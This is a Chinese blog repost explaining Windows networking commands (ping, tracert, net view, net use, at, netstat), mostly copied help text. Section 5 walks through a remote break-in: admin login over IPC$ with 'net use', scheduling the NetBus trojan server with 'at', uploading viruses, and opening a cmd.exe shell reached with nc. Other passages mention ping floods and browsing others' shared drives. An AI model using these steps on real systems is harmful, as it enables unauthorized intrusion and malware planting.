基礎網路命令(轉)
基礎網路命令(轉)[@more@]網路安全較有關係的幾個命令有:ping winipcfg tracert netat netstat1. ping:這是TCP/IP協議中最有用的命令之一它給另一個系統傳送一系列的資料包,該系統本身又發回一個響應,這條實用程式對查詢遠端主機很有用,它返回的結果表示是否能到達主機,宿主機傳送一個返回資料包需要多長時間。Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS][-r count] [-s count] [[-j host-list] [-k host-list]][-w timeout] destination-listOptions:-t Ping the specifed host until interrupted.(除非人為中止,否則一直ping下去)-a Resolve addresses to hostnames.(把IP轉為主機名)-n count Number of echo requests to send.(響應請求的數量)-l size Send buffer size.(封包的大小)-f Set Don't Fragment flag in packet.(資訊包中無碎片)-i TTL Time To Live.(時間)-v TOS Type Of Service.(服務型別)-r count Record route for count hops.-s count Timestamp for count hops.-j host-list Loose source route along host-list.-k host-list Strict source route along host-list.(較嚴格的……唉,怎麼譯好……算了,放著吧)-w timeout Timeout in milliseconds to wait for each reply.(timeout的時間)比如大家可能都知道的一個命令 # ping -f -s 65000 ***.***.***.***或者前階段大家所謂ping死黴國佬時所用的命令(當然這樣只會造成我方自己的網路阻塞)。其實這個命令主要是用來看對方應答的速度,如果怎麼ping 得到的結果都是request time out。那恐怕你根本就不用你去找這臺主機了,它不在你的射程之內。2. winipcfg:這是用來看自己IP位址的小工具,win98自帶,NT裡則網路監視器裡就能看到IP了,還有個小實用程式叫……好象是叫IPCONFIG吧,沒怎麼用,都快忘了……這種東東網上其實相當之多,但既然“自帶”,又何須外求,何況網上下載的駭客的東東里有沒有特洛伊猶未可知,再說了,如果你不是在自己的“愛姬”上執行,豈不是就沒法幹活?——哈,不好意思,跑題了,但——接著跑兩句:可以把一些常用的、經典的工具上傳到網上,當作一個備份,什麼時候在網咖、某家公司要幹活的話,直接下載就是一個完整無缺的工具包了。這個東東相當簡單,直接在DOS下鍵入命令就是了,沒有什麼引數。3. tracert:是驗證通往遠端主機路徑的實用程式用法: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name引數:-d Do not resolve addresses to hostnames.(不將IP轉為主機名)-h maximum_hops Maximum number of hops to search for target.(最大跟蹤數量)-j host-list Loose source route along host-list.-w timeout Wait timeout milliseconds for each reply.(time out 的時間)最簡單的用法就是 tracert hostname 其中hostname是計算機名或你想跟蹤其路徑的計算機的IP地址。TRACERT將返回資料包藉以到達最終目的地的各種IP地址,你知道該怎麼利用它嗎?我略為解釋一下吧:跟蹤通往210.142.192.130的路由,最大30:第一行:*&^%&* 我就是從這裡出去的(呵,真不想說^&^)第四行:是不是快要出國了呢?第九行:呀!這是日本鬼子的地盤……4. net:這可是個非常棒的東西,如果不會用的話,趕緊睜大眼睛噢這個命令的語法是: 可用的命令包括:NET ACCOUNTS NET HELP NET SHARENET COMPUTER NET HELPMSG NET STARTNET CONFIG NET LOCALGROUP NET STATISTICSNET CONFIG SERVER NET NAME NET STOPNET CONFIG WORKSTATION NET PAUSE NET TIMENET CONTINUE NET PRINT NET USENET FILE NET SEND NET USERNET GROUP NET SESSION NET VIEWNET HELP SERVICES 列出使用者可以啟動的網路服務。NET HELP SYNTAX 解釋如何閱讀 NET HELP 語法行。NET HELP command MORE 用於逐屏顯示幫助。我可就不逐樣解釋了——這樣會把我的手指累壞,就說說常用的兩個命令吧a.net view這個命令的語法是:NET VIEW [computername /DOMAIN[:domainname]]NET VIEW /NETWORK:NW [computername]NET VIEW 用於顯示一個計算機上共享資源的列表。當不帶選項使用本命令時,它就會顯示當前域或網路上的計算機上的列表。computername 指使用者希望瀏覽其共享資源的計算機。/DOMAIN:domainname 指定使用者希望瀏覽有效的計算機所在的域。如果省略了域名,就會顯示區域網路上的所有域。/NETWORK:NW 顯示 NetWare 網路上所有可用的伺服器。如果指定了一個計算機名,就會顯示NetWare 網路中那個計算機上的可用資源。至於舉例嘛,比如你知道一個遠端計算機***.***.**.***上有開資源共享,那麼執行net view ***.***.**.*** 就可以了b.net use這個命令的語法是:NET USE [devicename *] [computernamesharename[volume] [password *]][/USER:[domainname]username][[/DELETE] [/PERSISTENT:{YES NO}]]NET USE [devicename *] [password *]] [/HOME]NET USE [/PERSISTENT:{YES NO}]NET USE 用於將計算機與共享的資源相連線,或者切斷計算機與共享資源的連線。當不帶選項使用本命令時,它會列出計算機的連線。devicename 指定一個名字以便與資源相連線,或者指定要切斷的裝置。有兩種型別的裝置名:磁碟驅動器 (D: 至 Z:) 和印表機 (LPT1: 至 LPT3:)。輸入一個星號來代替一個指定的裝置名可以分配下一個可用裝置名。computername 指控制共享資源的計算機的名字。如果計算機名中包含有空字元,就要將雙反斜線 () 和計算機名一起用引號 (" ")括起來。計算機名可以有1 到15 個 字元。sharename 指共享資源的網路名字。volume 指定一個伺服器上的 NetWare 卷。使用者必須安裝 Netware 的客戶服務(Windows NT 工作站) 或者 Netware 的閘道器服務 (Windows NT 服務器) 並使之與NetWare 伺服器相連。password 指訪問共享資源所需要的密碼。* 進行密碼提示。當在密碼提示符下輸入密碼時,密碼是不會顯示的。/USER 指定連線時的一個不同的使用者名稱。domainname 指定另外一個域。如果預設域,就會使用當前登入的域。username 指定登入的使用者名稱。/HOME 將使用者與他們的宿主目錄相連。/DELETE 取消一個網路連線,並且從永久連線列表中刪除該連線。/PERSISTENT 控制對永久網路連線的使用。其預設值是最近使用的設定。YES 在連線產生時儲存它們,並在下次登入時恢復它們。NO 不儲存正在產生的連線或後續的連線;現有的連線將在下次登入時被恢復。可以使用 /DELETE 選項開關來刪除永久連線。PS:前兩天在綠色兵團的貼子裡見到一位仁兄的話,與這個命令有異曲共工之妙,也說明一個大概:在瀏覽器中輸入 file:///***.***.**.***c¥則網上共享的C盤內容就會顯示出來了,就彷彿用瀏覽器上FTP站點看到的一樣。各位不妨試試,還可試試舉一反三……5.at: 排定在特定的日期和時間執行某些命令和程式。執行 AT 命令之前必須先啟動 Schedule 服務。瞧,現炒就得現賣,剛學了net命令,但這個start命令我可沒詳述,自已看看幫助檔案,摸索一下各種命令的用法吧。C:》net start scheduleSchedule 正在啟動服務.....Schedulw 服務啟動成功。AT [computername] [ [id] [/DELETE] /DELETE [/YES]]AT [computername] time [/INTERACTIVE][ /EVERY:date[,...] /NEXT:date[,...]] "command"computername 指定遠端計算機。 如果省略這個引數命令會被排定在本機上執行。id 指定給排定進度命令的識別號。/delete 刪除某個已排定進度的命令。如果省略標識,計算機上所有已排定進度的命令都會被刪除。/yes 用於刪除所有作業,且不想在執行刪除時顯示確認資訊 。time 指定命令執行的時間。/interactive 允許作業在執行時,與使用者透過桌面互動。/every:date[,...] 指定在每週或每月的某日 (或某幾日) 執行命令。如果省略日期,則預設為在每月的本日執行。/next:date[,...] 指定在下一個指定日期 (如,下週三),執行命令。如果省略日期,則預設為在每月的本日執行。"command" 準備執行的 Windows NT 命令或批處理檔案。知道了如何使用AT,再來看看如何在遠端NT上執行ntsrv.exe:1 利用管理員登陸到目的伺服器,方法為: net use x.x.x.xipc¥ "adminpwd" /user:"adminuser"(這裡具體方法可參見KILLUSA的文章《HOW TO GET IN NT》)2 利用ntsrv.exe啟動遠端: netsvc x.x.x.x schedule /start3 利用AT.EXE在遠端伺服器設定程式定時執行,當然最快執行最理想,所以,你可以用letmein.exe得到伺服器的時間,然後:at x.x.x.x 00:00 ntsrv.exe /port:64321其中00:00要改為用letmein.exe得回來的具體時間+一點容量,等一會後,再在本地啟動netbus.exe,鍵入目的伺服器得ip地址或 hostname,連線!比如第一種方法,你想要在目的伺服器執行諸如病毒之類的東東,可以利用netbus得上傳功能,將各種“大補丸”上傳至目的伺服器,再用netbus的"Start program",鍵入完整路徑,就ok了!第二種方法是利用netbus的“App redirect”功能,啟動遠端telnet服務,如下:在netbus中擊“App redirect”,鍵入"C:》winntsystem32cmd.exe",Port為:4321,服務就啟動了,然後在本地執行:nc x.x.x.x 4321,出現dos啟動的畫面就表示連線成功:Microsoft(R) Windows NT(TM)(C) Copyright 1985-1996 Microsoft Corp.C:》注:這裡有一小段是抄KILLUSA的文章——別找我要稿費啊^&^6.netstat 這是一個觀察網路連線狀態的實用工具。它能檢驗IP的當前連線狀態,在斷定你的基本級通訊正在進行後,就要驗證系統上的服務。這個服務包括檢查正在收聽輸入的通訊量和/或驗證你正在建立一個與遠端站點的會話,它可以很輕鬆地做到這一點。網上也可以看到很多如X-netstat之類的工具,是WIN介面的,更加直觀而已,並沒有多什麼功能,這個命令的具體用法如下:Displays protocol statistics and current TCP/IP network connections.(顯示協議與當前網路連線)NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]-a Displays all connections and listening ports.(顯示所有連線和監聽埠)-e Displays Ethernet statistics. This may be combined with the -soption.(顯示以太連線,可以與-s連用)-n Displays addresses and port numbers in numeri
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/8225414/viewspace-938785/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- Linux 基礎網路命令列表Linux命令列
- Nmcli 網路管理命令列工具基礎命令列
- 【計算機網路知識掃盲】10、DOS命令基礎(轉)計算機網路
- solaris網路管理基礎培訓(轉)
- 基礎的 Linux 網路命令,你值得擁有Linux
- 網路安全基礎
- 『學了就忘』Linux基礎命令 — 34、配置網路相關命令Linux
- 談談網際網路後端基礎設施(轉)後端
- Linux基礎命令---ntpdate網路時間伺服器Linux伺服器
- Linux基礎命令---netstat顯示網路狀態Linux
- Docker 基礎 : 網路配置Docker
- 網路管理員基礎
- 網路通訊基礎
- 網路安全基礎(二) 口令的安全性 (轉)
- 【Linux】Linux網路配置基礎1 網路相關命令與網路卡配置檔案Linux
- 【機器學習基礎】卷積神經網路(CNN)基礎機器學習卷積神經網路CNN
- 【機器學習基礎】神經網路/深度學習基礎機器學習神經網路深度學習
- 0基礎學網路安全需要什麼基礎?
- Linux網路配置基礎Linux
- Linux網路管理基礎Linux
- 網路安全基礎知識
- 基礎命令
- 為什麼網路轉型是數字化轉型的基礎?
- unix 命令詳解 - 轉自網路
- linux 網路命令精簡(轉)Linux
- Docker網路配置基礎知識Docker
- 網路通訊技術基礎
- TCP/IP網路協議基礎TCP協議
- 網路協議基礎知識協議
- 計算機網路---基礎篇計算機網路
- Linux基礎之網路管理Linux
- Linux基礎命令---文字格式轉換fmtLinux
- Linux基礎命令—文字格式轉換fmtLinux
- Linux基礎教程之命令的使用(轉)Linux
- 網際網路後端基礎設施後端
- 網路自查 用Pathping命令診斷網路故障(轉)
- shell 基礎命令
- MySQL基礎命令MySql